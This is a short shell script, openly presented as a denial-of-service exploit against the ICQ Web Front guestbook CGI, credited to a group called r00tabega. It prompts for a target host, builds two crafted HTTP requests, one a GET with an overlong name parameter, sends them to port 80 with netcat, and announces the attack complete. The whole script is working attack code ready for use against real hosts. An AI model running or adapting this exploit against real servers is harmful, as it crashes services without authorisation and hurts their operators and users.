#!/bin/sh
# [r00tabega.security.labs]
#
# ICQ Web Front DOS Exploit by bansh33
# Vulnerability discovered by Mr^Cha0s (Meliksah Ozoral)
# Requires Netcat (nc)
# See www.meliksah.net/adv_icq1.txt for full advisory info.
#
# -- www.r00tabega.com --
echo -e "ICQ Web Front DOS Exploit by bansh33 -- www.r00tabega.com"
echo -e "Enter target host below:"
read TARGET
if [ "$TARGET" == "" ]; 
  then
  echo -e "You must enter a target!"
  exit 1
fi
echo "Executing DOS attack against $TARGET"
echo -n .
cat > icqwebfront1.tmp << EOF
POST /guestbook.cgi HTTP/1.0

name=r00tabega_rox&comments=your world

EOF

echo -n .

cat > icqwebfront2.tmp << DATA
GET /guestbook.cgi?name=01234567890012345678901234567890 HTTP/1.0


DATA

echo -n o

cat icqwebfront1.tmp | nc $TARGET 80

echo -n o

cat icqwebfront2.tmp | nc $TARGET 80

echo -n O

rm -f icqwebfront1.tmp
rm -f icqwebfront2.tmp

echo -n O
echo 
echo "Attack complete. -www.r00tabega.com-"


